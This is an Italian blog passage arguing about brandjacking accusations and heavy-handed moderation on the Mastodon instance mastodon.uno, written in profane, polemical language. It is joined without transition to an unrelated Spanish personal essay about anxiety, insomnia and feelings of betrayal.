- l’affermazione di un chiaro posizionamento generalista che si esprime principalmente nella depoliticizzazione (relativa, come abbiamo detto…) del progetto
- la capacità di avvalersi di diversi trucchetti SEO come la traduzione e rielaborazione di diversi testi stranieri sul fediverso, la produzione frequente di contenuti
- la cura e la coerenza grafica dei diversi progetti
- la creazione di una serie di brand forti identificabili nei domini .uno
- una rete di contatti e di competenze del gruppo dei fondatori che si è consolidata negli anni dei circuiti di blog (di qualità non certo eccelsa) che per sopravvivere dovevano scalare le posizioni dei motori di ricerca.
Ovviamente non sto dicendo che questi elementi hanno determinato il successo (attuale) dell’iniziativa, ma solo che ne sono alla base. Il successo (successo di cosa, poi sarebbe utile definirlo: non certo successo economico) del progetto mastodon.uno è dovuto principalmente al fattore “culo”:
- la fortuna di scommettere sul software (mastodon) che sarebbe esploso di lì a poco
- la fortuna di non aver bisogno di particolari investimenti
- la fortuna di non avere altri “concorrenti” con tutte le medesime caratteristiche (progetto generalista), aspirazioni (degooglizzazione) e competenze (in particolare quelle marketing).
Un progetto ha sempre successo per caso. Non esiste la strategia per avere successo. Il problema è che quando un progetto ottiene successo, c’è sempre qualcuno che è convinto di avere capito perché. E la risposta è spesso sempre la stessa, la scorrettezza, e in questa vicenda la scorrettezza ha un nome speciale: brandjacking!
BRAAAAAAAANDJAAACKING VIETNAAAM!
Riassumiamo la questione per brevità:
- il gruppo dei Devol presenta i propri servizi come se fossero i progetti ufficiali italiani di quelle iniziative
- per farlo si appropriano di diversi contenuti prodotti all’estero
- e soprattutto il gruppo dei Devol si è appropriato del marchio di progetti open source, attraverso la registrazione dei… DOMINI DI SECONDO LIVELLO legati alle app sui domini di primo livello “italiani” (.it e .uno)!…
Per quanto riguarda i primi due punti, mi sembra chiaro che non si tratta di appropriazione indebita (non risultano mai affermazioni di ufficialità e i testi pubblicati che ho visto recano sempre una citazione) ma di una semplice personalizzazione/localizzazione propedeutica a una divulgazione che mira evidentemente a consolidare il senso della comunità.
Quanto al punto 3, vediamo come si chiamano 15 delle prime 50 istanze del mondo:
- mastodon.social (non vale, perché è legata al fondatore del progetto)
- mastodon.online (non vale, perché è legata al fondatore del progetto)
- mastodon.world
- mastodon.nl
- mastodon.art
- mastodon-japan.net
- mastodon.scot
- mastodon.cloud
- mastodon.ie
- mastodon.top
- mastodon.nu
- mastodon.au
- mastodon.green
- mastodon.nz
- mastodon.com.tr
Ammettiamo pure che chiunque abbia registrato questi domini sia quello che tecnicamente viene definito fijo de ‘na mignotta, ma chiunque abbia più di 40 anni (ma anche, se permettete, chiunque abbia un genitore che si è occupato di web e non smetteva di parlarne a cena…) sa che la registrazione di domini “strategici” era condizione necessaria per avviare qualsiasi servizio web, al punto che spesso se ne registravano decine o centinaia in vista di progetti che magari non si sarebbero mai realizzati.
È Brandjacking registrare un dominio? È vietato farlo? Se non è vietato non dovrebbe essere consentito? E perché non si dovrbbe fare?
Lipsia o Berlino, purché famo casino!!
In casi di questo genere è difficile prendere una posizione pro o contro. Nelle affermazioni che vorrebbero dimostrare il brandjacking non vedo alcuna dimostrazione logica, ma solo una disordinata ripetizione delle stesse accuse che sfocia nell’ossessione.
In questa ossessione trovano spazio anche alcuni elementi estremamente preoccupanti, come la creazione di blog dedicati a Devol scritti in inglese e alcuni messaggi rivolti ai fondatori dei progetti “brandjackizzati”.
Il ricorso allo “straniero” si è verificato alcune volte. Come ai tempi di Carlo Magno, Enrico VII e Carlo V anche oggi abiamo una preghiera al tedesco (a Eugen Rochko o a Ciarán Ainsworth): Tedesco aiutaci tu! Ecco uno degli episodi meno edificanti che abbiamo potuto vedere:
Diorama chiama Gargron (che non se lo caga di striscio). Link: https://stereodon.social/@diorama/109607743258150469Brandjacking: conclusioni
A me sembra chiaro che la questione del brandjacking sia una gigantesca stronzata e in generale, tutte le accuse che riguardano l’impiego di basilari tecniche di marketing siano inconsistenti, ma possono fare presa su quel pubblico critico verso non solo il capitalismo, ma più in generale qualsiasi tecnica che si sia sviluppata nell’alveo del capitalismo tecnologico.
Per riassumere i motivi per cui quello che viene chiamato brandjacking è una banalissima conseguenza del fatto che chi avvia un progetto web possieda un cervello, ruberò le condivisibilissime parole usate da uno dei diversi sgherri dell’amministratore di mastodon.uno
E perché mai non avrebbe dovuto prenderlo? E se mastodon.it l'avesse preso qualcuno che lo avrebbe fatto diventare una fogna immonda come peertube.it?
Solo che nessuno rompe il ca**o al brendgecching di peertube da parte del più pericoloso e becero cospirazionismo italiota… Mentre tutti stanno là sui blocchi di partenza, pronti a scassare la minchia a m1 😂Pensate che bello se mastodon.it facesse il redirect a Byoblu o se fosse il sito personale di Giorgia Meloni Guido Crosetto (la connontazione di mastodonte non si sposa benissimo con la statura di Giorgyna). Link: https://mastodon.social/@[email protected]/109540776273654477
Ormai si è capito che #brandjacking con l’hashtag è uno shibboleth per riconoscersi, #brandjacking senza hashtag è la tensione sulla lenza di qualche utente che ha abboccato: con o senza hashtag è quindi un segnale e, come tutti i segnali, posso campionarlo e usarlo a mio favore: d’ora in poi, chiunque usa quel segnale finirà nella mia personale collezione, un piccolo muro del rancore che vorrei costruire per separare i problemi finti da quelli veri.
Lo chiamerò il muro del karamels e se mi gira registro anche il dominio karamels.uno!
Il problema infatti non è il presunto brandjacking, quanto piuttosto il danno reputazionale che questi attacchi intrisi di poraccismo massimalista recano a tutto il movimento italiano del Fediverso, sia rodendolo dall’interno attraverso i tanti soggetti affascinati più che dai fatti, dalle polemiche ad essi legati.
Sarebbe opportuno evitare di concentrarsi sulle stronzate suggerite dalle anime più rancorose del fediverso, proprio quando esistono alcune critiche che possono essere mosse all’istanza mastodon.uno, critiche che non solo sollevano problemi reali, ma che possono essere uno spunto di riflessione per migliorare tutto il fediverso italiano (e anche quello non italiano).
Ban ban: il rinculo della moderazione
Premetto che capisco perfettamente che la moderazione costa, sia per le risorse necessarie (non conosco i dati, ma il tempo impiegato per moderare un’istanza è sicuramente elevatissimo), sia per le tensioni che può comportare internamente (tenderei a escludere che i moderatori siano droni che si muovono all’unisono comandati dalla Regina Borg), verso gli utenti (immagino che qualche moderatore possa ricevere minacce) e verso le altre istanze (non tutti adorano il profumo di rant al mattino).
Bisogna tuttavia ricordare il principio fondamentale che deve accompagnare ogni iniziativa intrapresa su base volontaria, inclusa la creazione di un’istanza mastodon:
“Se non te l’ha prescritto il dottore, gli effetti collaterali sono una tua scelta!”
teorema di Galeno
In soldoni, provo una qualche empatia verso i moderatori di .uno, ma non sono disposto a sentire le loro lagne per qualcosa che è una loro scelta. Se si stressano a moderare, possono fare altro o non fare niente. Se sono insoddisfatti del proprio rendimento, cercassero di lavorare meglio. Se hanno già provato a lavorare meglio senza ottenere risultati migliori, allora studiassero un po’ di più, perché nella società della conoscenza, lavorare senza studiare non è un’idea brillantissima.
Le regole della casa del sito
Le regole di Mastodon.uno sono piuttosto stringenti…
…ma non è questo il punto. Il punto è che quando le regole di un’istanza vengono applicate sugli utenti interni all’istanza stessa, queste impattano direttamente su di loro (chi non le rispetta può essere cancellato per sempre o silenziato); tuttavia le regole di un server impattano indirettamente anche sugli utenti delle altre istanze che non dovrebbero essere soggette ad altre regole che non siano quelle del proprio server.
Ma questo presenta alcune ricadute complesse. Facciamo il caso di cinque utenti: un utente pornofilo, un utente suprematista, di un utente novax, di un utente No-TAV e di un molestatore.
- L’utente roccominchia pubblica foto con gangbang
- L’utente lollonero afferma che i bianchi stanno per essere sostituiti dai negri
- L’utente comilva ricorda quanto sia pericoloso iniettarsi siero al grafene
- L’utente bussoleno si augura che vengano fatti saltare i cantieri col tritolo
- L’utente uriel rompe il cazzo a utenti che non l’hanno neanche menzionato dicendo loro che sono fascisti
In base alle regole di M1, se “risiedessero” su mastodon.uno gli utenti 1-4 verrebbero espulsi; il 5 verrebbe probabilmente redarguito, ma se insiste, probabilmente farà la stessa fine degli altri 4.
Se invece risiedessero su altre istanze, gli utenti 1-3 e 5 verrebbero silenziati ma non bannati (forse il n.5, ma solo se continua a rompere il cazzo frequentemente). L’utente 4 invece verrebbe probabilmente direttamente bannato.
Ma cambia qualcosa a seconda di chi siano quegli utenti?
- Se l’utente 1 fosse uno stimato critico d’arte storico della pornografia antica e moderna, residente su mastodon.art, molti utenti potrebbero essere disposti ad abbandonare mastodon.uno per seguirlo
- L’utente 2 è un discusso personaggio politico che diversi utenti vogliono seguire per obiettare alle sue affermazioni. Se venisse silenziato molti thread apparirebbero mutili, se venisse bannato, nessun utente mastodon.uno lo potrebbe seguire per contraddirlo
- L’utente n. 3 è un coglione e quello che gli succede non frega a nessuno
- L’utente 4 è un apprezzato intellettuale anarchico: una parte degli utenti di mastodon.uno ne apprezza le foto di cacche fresche che immortala mentre passeggia sui marciapiedi di Rivarolo
- C’è uno zoccolo duro di utenti apparentemente normali che adorano farsi offendere dall’utente n.5 e sarebbero disposti a chiudere l’account su mastodon.uno per farsi offendere di nuovo.
Inizia a essere chiaro il problema: se gli utenti dentro mastodon.uno devono sottostare a regole più rigide rispetto a quelli che stanno in altre istanze, allora sono svantaggiati?
E, più in generale, assumendo che gli utenti di un’istanza tengano comportamenti perfettamente in linea con le regole dell’istanza stessa, quegli utenti riterranno preferibile o limitativo il fatto non poter accedere a contenuti di altre istanze che sono molto eccentriche rispetto alle policies della propria istanza?
Qua li rinculamo, qua te rinculano
La moderazione interistanza è un’arma a doppio taglio: da una parte mantiene pulito e ordinato il locale per gli iscritti al club, evitando l’ingresso di soggetti o prodotti inappropriati provenienti da altri locali; dall’altra comporta qualche limitazione per i propri iscritti che se vogliono incontrare quella simpatica fattona dell’altro giorno o quel noto stallone da accoppiamento, non potranno farlo nel proprio club.
Ti espull… ti espulg… ti espuls… OK TI BANNO!La sospensione o il silenziamento non costituiscono quindi un gioco a somma zero:
- anche se fanno parte di una grande istanza che garantisce maggiori possibilità di networking, la percezione degli utenti dell’istanza meno permissiva è quella di perdere opportunità di networking
- l’istanza meno permissiva rischia di perdere utenti alla ricerca di altre istanze con minori limitazioni
- se l’istanza cede alla pressione di non bannare o silenziare gli utenti fuori policy, allora gli utenti penseranno che stare in un’altra istanza convenga (basta crearsi una certa notorietà).
Per intenderci, perdere utenti non è un grande problema e dal punto di vista gestionale è anzi solo un vantaggio (meno costi e meno rotture di palle), ma è un fenomeno che dagli amministratori viene percepito come un fallimento.
Quando l’istanza è molto grande inoltre, se è pur vero che le uscite probabilmente non si avvertono neanche, un ban verso un utente esterno può essere fatto passare come un atto di prepotenza da parte di un soggetto forte verso un soggetto debole.
La grandezza di un’istanza infatti aumenta sempre l’impatto di questo tipo di scelte.
Come se non bastasse, il confronto con le istanze più piccole è impietoso: se un’istanza con quattro gatti banna un profilo problematico potrebbe avere reazioni negative da tutti i propri (pochi) utenti; se non lo banna, gli utenti che se ne lamentano saranno comunque pochi (fai prima a contattarli direttamente per spiegar loro il problema). Inoltre nessuno* se la prende con un’istanza piccola per diversi motivi:
- chi attacca mastodon.uno per avere visibilità, che visibilità avrebbe ad attaccare un’istanza con quattro gatti come nebbia.fail?
- se attacchi un’istanza con quattro gatti come nebbia.fail e che magari non funziona neanche tanto bene, fai la figura del bullo che se la prende con il compagno tappo con gli occhiali, la scoliosi, le mani sudate e le magliette di Shy con i modi di dire sardi
* in realtà qualcuno c’è, ma è un caso particolare
Mastodon.uno: orgoglio e pregiudizio
Cosa succede quando un’istanza che ha sempre fatto il possibile per diventare grande diventa grande? E quanto è grande la paura di un’istanza grande, quando si sente minacciata? E se, da chi voleva che il Mastodon diventasse l’Indymedia del quinquennio, un’istanza era odiata già quand’era piccola, quanto sarebbe stata odiata, una volta divenuta grande?
Tornare piccoli sarebbe un fallimento reputazionale, il numero di “rosiconi” aumenta vertiginosamente e, soprattutto, quelli che già rosicavano quando un’istanza davvero generalista, ma ancora piccola, si è affacciata in Italia.
A proposito di rosiconi, il branco che ho incontrato in questi giorni di pubblicazione del blog costituisce una squadretta inter-istanza molto particolare. Si capisce da una breve analisi comportamental che se i suoi membri fossero costretti a intragire solo tra loro, probabilmente si scannerebbero (virtualmente), ma siccome è molto unita nell’attaccare obiettivi comuni (mastodon.uno, “uriel fanelli”, ma anche uno sfigato come me) è un po’ come uno squalo che, secondo il detto (non ho mai verificato se è vero ma sticazzi), deve continuare a nuotare velocemente, altrimenti non incamera abbastanza ossigeno nelle branchie: questo branco di rosiconi (è buffo, ma interagisco spesso e serenamente con loro su mastodon attraverso il mio profilo personale) è parte di quel movimento di cagacazzi che ha sempre alimentato le polemiche contro mastodon.uno. Possiamo chiamarli “la prima ruota”, quella che sa quali ingranaggi muovere per far ruotare altri utenti scontenti: gli ex amici, i bannati, i cagacazzi naturali, etc.
Ma un numero così elevato di rosiconi non fa altro che portare i responsabili dell’istanza mastodon.uno a chiudersi a riccio nel proprio orgoglio: “i nostri nemici ci odiano perché abbiamo successo!”
Come ho già detto, la definizione di successo è alquanto vuota, ma rende bene l’idea. Oggettivamente Mastodon.uno è quella che si può definire un’istanza di successo, così come lo è il suo amministratore: questo mix può effettivamente diventare un catalizzatore di antipatie, odio e invidie. E sappiamo che alcuni provocatori si presentano come “pierini” in cerca di informazioni (una delle uscite più inflazionate è “scusate, sono nuovo/a di queste parti: qualcuno può spiegarmi cos’è il #brandjacking?“). Il pregiudizio dei responsabili di mastodon.uno sta però nel pensare che tutti i “pierini” che cadono nella trappola siano provocatori.
Non importa se questo è vero (spoiler: no, non sono tutti provocatori), ma di certo questa sola eventualità può essere avvertita come pericolosa dagli amministratori di mastodon.uno.
I reati di opinione
Il senso di accerchiamento che ne deriva porta a un atteggiamento pregiudiziale di sospetto o a un vero e proprio accanimento contro tutti gli utenti che parlano male di mastodon.uno.
Una delle cose più odiose dei regimi illiberali sono i procedimenti giudiziari contro i “reati di opinione”: oltre che una violazione contro i diritti umani si tratta anche di un segnale di debolezza del regime.
Sarebbe interessante essere un trojan inserito dentro le chat di coordinamento dei moderatori del fediverso, ma le dinamiche interne di mastodon.uno sembrerebbero piuttosto chiare:
- atteggiamento iperprotettivo verso gli utenti
- sindrome di accerchiamento
- tendenza a nascondere le critiche ingiuste (ok, non tutte lo sono, ma siamo certi che i responsabili di mastodon.uno le ritengano tutte ingiuste!)
Questo porta a un processo di questo tipo:
- l’utente A critica mastodon.uno
- mastodon.uno risponde
- l’utente B della “prima ruota” si aggancia alla discussione e risponde “mastodon.uno è la merda! sono commerciali, scorretti e capitalisti! Censurano chiunque ne parli male! Sono il male assoluto! E poi brandjacking, astroturfing, funkwhale, gerrymandering, shrinkflation, proctolowing!“
- l’utente C chiede “scusa, ma cosa significano quei termini?” creando ulteriore entropia
- l’utente D, ex moderatore di mastodon.uno, dice “non voglio commentare, ma le pratiche di mastodon.uno sono note…* Ma non voglio commentare, anche perché io ora mi trovo su Misskey che è molto meglio di mastodon…* A proposito lo sapete che Misskey che è molto meglio di mastodon…*”
* puntini di sospensione volutamente molto allusivi-dico-non-dico - l’utente A allora esclama “ma quindi mi sono iscritto in un’istanza di criminali?“
- l’utente D risponde “non voglio commentare, ma pensa che anche se sono stato moderatore di mastodon.uno ora mi sono iscritto su Misskey che è molto meglio di mastodon…* A proposito lo sai che Misskey che è molto meglio di mastodon?…“
- l’utente B, con l’evidente durello sotto le mutande, chiama a raccolta qualche amico della “prima ruota” e la shitstorm prende vita e diventerà una sorta di picchetto perenne cui nei prossimi mesi o anni si agganceranno nuove discussioni
- i moderatori di mastodon.uno rosicano, si incazzano, rileggono i messaggi, ci rimuginano, impazziscono e cominciano a bannare, silenziare, cancellare messaggi, denigrare utenti e accusarli di invidia (e dai ragazzi: ancora che fate? Riuscite a capire che, vera o no che sia, quella dell’invidia è una delle controaccuse più patetiche al mondo?).
Lo ammetto: le dinamiche delle altre istanze tollerano spesso (e talvolta avallano con soddisfazione) l’accanimento ideologico di alcuni utenti (alcuni di essi sono amministratori ombra di quelle stesse istanze) contro mastodon.uno, ma l’impressione è che i suoi moderatori siano vittime di una certa dispercezione…
M1sperceptionIl Tinder del rancore non si ferma così
Ma soprattutto, questo approccio nella moderazione sta funzionando? Non ho alcuna esperienza personale nella moderazione ma ho una lunga esperienza nella frequentazione di ambienti moderati, fin da quando ero bambino: gli ultimi forum veramente attivi, i gruppi facebook, i subreddit e infine i server discord e devo ammettere che da quello che riesco a vedere dalla mia istanza (si, alcune app consentono di seguire le timeline locali delle altre istanze!) la timeline locale di mastodon.uno è effettivamente moderata molto bene: trovare contenuti ripetitivi, spam, contenuti inappropriati, deliri complottisti, pubblicità più o meno occulta è praticamente impossibile. Se devo considerare quel volume di messaggi, devo fare davvero i complimenti ai moderatori per la loro operazione di pulizia.
Tuttavia la moderazione di mastodon.uno è evidentemente improntata a un approccio così protettivo verso i propri utenti tale da reprimere alcuni di quegli utenti che meno tollerano il controllo sull’espressione delle proprie opinioni, utenti che in caso di ammonizioni o provvedimenti andranno ovviamente ad arricchire quel fronte, facilmente individuabile, che sembra considerare la campagna contro mastodon.uno il proprio fine ultimo.
Questo porta fisiologicamente a una santa coalizione dedita a sfruttare ogni occasione per polemizzare con mastodon.uno, una festa del rant nella quale sono tutti invitati e in cui tutti vincono, tanto offre mastodon.uno: offre l’infrastruttura (il fediverso è anche pagare i server per ospitare le shitstorm verso se stessi…), la visibilità (decine di migliaia di utenti), la patente di vittima (vittima del cattivo Zuckerberghino in scala 1:1000000) e la possibilità di trovare tanti nuovi amici che solidarizzano con te sulla base dell’interesse comune: il sesso l’odio per mastodon.uno.
Un vero e proprio Tinder del rancore.
Crisis management
Ma è giusto cancellare i messaggi critici? E sospendere gli utenti palesemente polemici verso l’istanza, anche quelli molesti e diffamatori, è accettabile in una comunità matura?
Sono convinto che cancellare le tracce è un segnale di incompetenza nella gestione della reputazione.
A mio parere bisognerebbe “depenalizzare” i reati di opinione ed evitare di silenziare o bannare gli utenti che sia dentro, sia fuori dall’istanza esprimono leciti dubbi o sferrano veri e propri attacchi verso i responsabili di mastodon.uno.
Piuttosto rispondessero a tono a ognuno di loro. Chiedessero scusa quando sarebbe opportuno farlo (le cazzate sulla prima istanza… la character assassination verso le “istanze problematiche“) e quali provvedimenti prenderanno o hanno già preso per farsi perdonare (finora non ho mai letto un’analisi autocritica. Capisco mettersi sulla difensiva, ma ogni tanto sarebbe utile evitare di mostrarsi perfetti…).
E se, come capita, ce n’è qualcuno che fa campagna acquisti per la propria istanza (vero Snowdendeipoveri?) o peggio, fa campagna diffamatoria silenziando e bloccando (dico bene Matteo musicista?) gli amministratori di mastodon.uno (un trucchetto più volte fatto presente come issue per gli sviluppatori…) basta poco per sputtanarlo a dovere. Come?
Attraverso un bel museo della vergogna: un account di istanza che pubblica tutte le conversazioni più rancorose contro mastodon.uno… sarebbe molto divertente.
Ban: conclusioni
Il grilletto facile di mastodon.uno costituisce l’aspetto più odioso di mastodon.uno. Ne capisco i motivi, ma non ne giustifico la pratica (soprattutto in certe occasioni), lo ritengo anzi un arma spuntata e un boomerang reputazionale. Vorrei che l’istanza più organizzata del fediverso italiano, l’unica che per capacità organizzativa può essere paragonata alle grandi istanze internazionali, avvertisse un senso di responsabilità maggiore rispetto a quello che, per tanti altri versi, è in grado di assicurare.
Da questo punto di vista non solo non troverà mai la solidarietà delle altre istanze anche perché esse sono così tanto più piccole che per loro bannare un utente significa perdere percentualmente più fette di networking rispetto a un’istanza molto grande; inoltre difficilmente mostra solidarietà chi fa fatica a digerire la preponderanza di mastodon.uno nel fediverso italiano.
Ma la cosa più importante è che mastodon.uno imparasse a gestire le crisi in maniera meno dilettantesca.
A prescindere da quello che può fare o non fare mastodon.uno, l’ideale sarebbe che fossero gli amministratori delle altre istanze a sbroccare contro i propri utenti quando intraprendono le loro spedizioni punitive contro mastodon.
Gli ospiti di un piccolo campeggio che confinava con un campeggio molto più grande lanciano sulle tende dei loro vicini bottiglie di vetro e sacchetti di immondizia urlando “HEI, IL TUO CAMPEGGIO FA SCHIFO! SIETE MERDE!”. Allora il proprietario del campeggio più piccolo si mise in disparte senza cercare di contenere il vandalismo dei propri avventori. Allora dal cielo, una voce tonante proferì queste parole: “Chi sei tu? Un vigliacco ‘nfame o un farabutto complice in mala fede?”.
parabola dell’amministratore imbelle
Oltre che a cercare di migliorare il clima del fediverso italiano infatti, gli amministratori dovrebbero riflettere sul fatto che le istanze che rosicano non sono un ambiente molto invitante per gli utenti e che al massimo saranno attrattive per altri utenti rosiconi e, quando i rosiconi saranno la maggioranza, gli altri utenti avranno già cambiato istanza e quando gli utenti delle altre istanze (o le istanze stesse) silenzieranno quelle che saranno diventate vere e proprie pozzanghere di rancore, nessuno se ne accorgerà.
Quello non sarà un momento fortunato. Tuttaltro. Perché il danno reputazionale per il Fediverso italiano sarà enorme e gli utenti normali si terranno lontani dalle istanze italiane che ormai sembreranno immerse in un paesaggio e in un clima allegri come quelli di Ken il Guerriero.
Ma con personaggi più patetici
Disclaimer per alcuni utenti con cui ho interloquito recentemente: voi persone piene di merda e rancore mi avete davvero rotto il cazzo. Però mi scuso se vi ho dato l’impressione che mi avete davvero rotto il cazzo perché siete delle persone piene di merda e rancore. Io non ho nulla contro le persone piene di merda e rancore (ho anche diversi amici che sono persone piene di merda e rancore). Mi avete rotto il cazzo perché dimostrate sempre di non capire i messaggi che leggete.
Comunicato con rant e scuse insieme (così mi porto avanti)
Se vuoi contattarmi puoi farlo qui!
- Byoblu
-
Angustia
⏱️ Tiempo estimado de lectura: 12 minutos y 50 segundos.
Es uno de los sentimientos, de las emociones más crueles que el ser humano pueda llegar a sentir. Porque la angustia, se nutre del resto de las emociones negativas para crecer. Y a veces, se hace tan grande, que se vuelve incontrolable. Es como hacer un licuado. Sí, no va a ser la última vez que use esta metáfora, porque la vida en sí, es la mezcla de muchas cosas, que se ponen en un aparato que las tritura, y de todo eso, hace una sola cosa. En este caso, el producto final, está hecho de muchos otros sentimientos. Odio, amor, miedo, desconfianza, decepción, bronca, rencor, tristeza, entre tantos otros. De algunos, dependiendo del caso, puede tener un poco más, y de otros, un poco menos. Es más, no siempre son los mismos. Puede que haya alguno o algunos, que no estén.
No es solo esto lo que hace a la angustia tan cruel. Hay mucho más. Porque la angustia, a diferencia del resto de los sentimientos, nunca se apaga del todo. El rencor puede irse. El odio, ir disipándose. El amor, caer en el olvido. Pero ella, sigue ahí. Sigue ahí, porque aunque todo se vaya yendo de a poco, la razón principal por la que nos angustiamos, está tan arraigada en nuestra mente, como el primer día. Y puede durar días, semanas, meses, años. Si no sabemos manejarla, contrarrestarla, y en definitiva, superarla y dejarla atrás, nos destruye. Porque ese es su cometido. Ir destruyéndonos de a poco, hasta que de nosotros, solo quede la nada misma.
Mi Angustia
Son las 3 de la mañana, o tal vez un poco más, no lo sé, no estoy segura. No me quiero levantar a fijarme la hora, no tengo ganas. Intenté de todo. Dejar de pensar, practicar reiki, meditación, escuchar música, leer un libro, todo. Y nada funciona. De niña aprendí a llorar en silencio. Cuando no podía contarle a nadie que quería ser una niña, una mujer, lloraba. Y lloraba despacio, muy despacio, sin ruido. Para que nadie me escuche. Pero las lágrimas caían sobre mi almohada. Siempre caen, siempre quedan. Pero el llanto, no se oye, nunca se oye. Es como la metáfora del árbol y el bosque. Si el llanto no se escucha, no existe, no está, no importa, no vale, no sirve de nada. Aún así, si se escucha, muchas veces, tampoco sirve. Pero el llanto es una calma para el cuerpo, para el alma, para la mente, y para el espíritu. O eso creo yo. Una vez lloramos, podemos descargar todo eso que llevamos dentro. Ya sea alegría, felicidad, o… tristeza, angustia, como en este caso. Las lágrimas se lavan con el agua, se van. Pero el llanto, también queda dentro nuestro. Y ese llanto que queda dentro, también es difícil de superar.
Las horas continúan pasando. La noche no se detiene, se hace día de nuevo. Y la marcha inexorable del tiempo, me recuerda que no dormí nada, y que tengo que levantarme. Que tengo que empezar de nuevo, sin siquiera haber terminado. Que tengo que seguir, sin siquiera haber descansado. Que a pesar de que yo no puedo hacerlo, el mundo, la vida, la gente, las cosas, todo tiene que continuar. Y me cuesta mucho darme cuenta de que tengo que hacer lo mismo.
Soy un software. Yo misma me programo para seguir órdenes, ritmos, actividades, para hacer cosas. Para no detenerme. Y claro, yo sé de eso, de programar, de hacer que las aplicaciones hagan lo que necesito que hagan. Para eso me programé. Para hacer lo que necesito hacer, ni nada más ni nada menos. Para seguir una lógica. Un conjunto de instrucciones predeterminadas, que logran que las cosas, salgan relativamente bien. Y funciona. Para todo lo demás, funciona. Pero para mi mente, no.
Me duele la cabeza, la panza; Todos los días. Voy al médico. El diagnóstico, al fin, al momento de publicar esta entrada, ya lo sé. Celiaquía. Pero es el estrés, el que hace que se agrave la enfermedad. Quedarme despierta, no sirve, porque al día siguiente tengo sueño. Empiezo a tomar té de tilo, y ahora sí, puedo dormir. Pero dormir, tampoco sirve. Porque cuando duermo, duermo mal, tengo pesadillas. Y me despierto más asustada y cansada que antes. A veces me despierto a la madrugada y lloro, no puedo evitarlo. No puedo evitar pensar, recordar, intentar entender el por qué de todo. Los recuerdos, la tortura constante de lo que me acontece, es como un puñal que vuelve a clavarse una y otra y otra vez, en mi mente, en mi alma, un alma, que al menos por ahora, está rota. Y que necesita sanar.
Intento hablar, y no puedo. No me sale explicar cosas que ni yo misma puedo entender. Me ha pasado muchas veces. Esta, es una más de ellas. Intento escribir. Estas líneas y las anteriores, van formando una secuencia que me ayuda a sacar afuera lo que llevo dentro, aunque nadie entienda realmente de qué se trata. Y como dije, no puedo hablar. Solo llorar, escribir, intentar soñar, intentar dormir bien, intentar no despertarme a la madrugada, intentar buscar soluciones. Explorar todas las variables posibles en esta aplicación de la vida. Una aplicación que, aunque creas que podés planificarla, programarla de alguna forma, al parecer, no es solo una cuestión de voluntad. Es mucho más que eso. Y es muy difícil darte cuenta de que, aunque creas tener el control de todo, hay muchísimas cosas que se te van a escapar. Porque no todo depende de vos, de mí, ,de cualquier otra persona. Depende de muchas más cosas, de muchísimos factores externos.
Intento llevar un diario. Con fechas, situaciones, ideas, cosas que se me ocurren, etc. Me sirve. Me ayuda a tratar de, si bien ya sé que tengo el control de muy pocas cosas, por lo menos intentar tenerlo sobre mí misma. Es bueno, es sanador, es desestresante, de alguna forma. Pero a la noche, siempre a la noche, me encuentro sola. Con mi mente, mis fantasmas. Una mezcla horrible de sucesos reales, con otros que jamás ocurrieron, con otros que podrían ocurrir, y otros que jamás tal vez ocurrirán. ¿O sí? No lo sé, ya no lo sé. Ya no estoy segura de nada.
Me siento una estúpida. Por confiar tanto en las personas, toda mi vida. Por creer que el mundo está lleno de buenas personas. Por pensar que, por ser discapacitada no iban a querer lastimarme. Que error, que grave error. Durante toda mi vida confié demasiado. Y no debería haberlo hecho.
—No te digas estúpida. Porque si te lo repetís mucho, te lo vas a creer. No fuiste estúpida, fuiste ingenua. Confiaste en las personas equivocadas. Y por eso te pasó lo que sea que te haya pasado. Pero podés salir de eso, aprender. Es lo que tenés que hacer, para que no vuelva a pasarte. Y vengarte. Sí, pagarles con la misma moneda, a aquellos que te hicieron daño. O si podés, mucho peor. Dejarlos tan destruidos hasta que no quede ni un despojo de esas personas. —Me dijo una persona a la que solo pude contarle que traicionaron mi confianza, esta vez, por última vez. ¿Quiero? ¿Puedo? ¿Debo? Siguen siendo las preguntas esenciales que tengo que hacerme.
Continúo preguntándome: ¿Por qué? ¿Por qué a mí? ¿Por qué yo? Realmente, no creo merecerlo. No creo ser tan mala persona como para tener que sufrir tanto. Sinceramente, no lo entiendo, no puedo terminar de entenderlo. A veces creo que nunca lo voy a entender.
—Lo que pasa es que vos pensás que todo el mundo es bueno. Y lamentablemente, está muy lleno de gente de mierda. Gente egoísta que no mira más allá de su propio ombligo. Y es horrible. Pero es así. Y tenés que aprender a no confiar. Lamentablemente también, a las personas más buenas, les pasan las peores cosas. Es así, es el karma de la vida, —me dijo una persona cercana a mí.
Lo intento cuando me ducho. Me quedo bajo el agua durante largos ratos, esperando que todo lo malo se vaya. Intento rituales de sanación espiritual, meditación, técnicas de respiración y relajación. Lo intento todo. Y todo sirve, me ayuda a ir saliendo de a poco. Pero a veces, no puedo. Me inventé un mantra. Empiezo a contar, cada vez que subo y que bajo, que me levanto y vuelvo a caer: 0, 1, 2, 3. 0, 1, 2, 3. Ni un número más. ninguno. Solo hasta ahí. Y vuelvo a repetir: 0, 1, 2, 3. 0, 1, 2, 3. A continuación, una pregunta inocente, pequeña, infantil, perturba mi mente. Y la respuesta, no me gusta para nada.
—¿Qué poder te gustaría tener?
—Volar, —respondo inmediatamente.
—No, pero dejame terminar la frase. ¿El fuego, o el hielo?
—El fuego, como los dragones.
—Y pero te gusta Frozen. ¿No te gustaría tener el poder del hielo?
—Sí, me gusta Frozen, pero no quiere decir que me guste su poder. Me gusta el fuego, y volar. Porque me gustan los dragones. Y los dragones, vuelan y escupen fuego.
Sí, me gustaría ser una dragona. Grande, majestuosa, poderosa. Mirar a la luna llena un día y convertirme en una. Así nadie jamás se burlaría de mí. Nadie más me traicionaría, nadie más se reiría en mi cara, nunca más. Volar y escupir fuego a todo aquel que se atreva a intentar tomarme por estúpida. A todo aquel que se atreva a intentar tomarme el pelo, a jugar conmigo. Esa sería mi venganza perfecta. Ese sería mi daño, mi poder. La mayor expresión de mi ira. Pero eso no existe más que en mi imaginación. Y ahí se queda, ahí termina. Ahí encuentra su punto final. ¿Entonces, qué hago? ¿Qué puedo, quiero, o debo hacer? No tengo respuestas para eso.
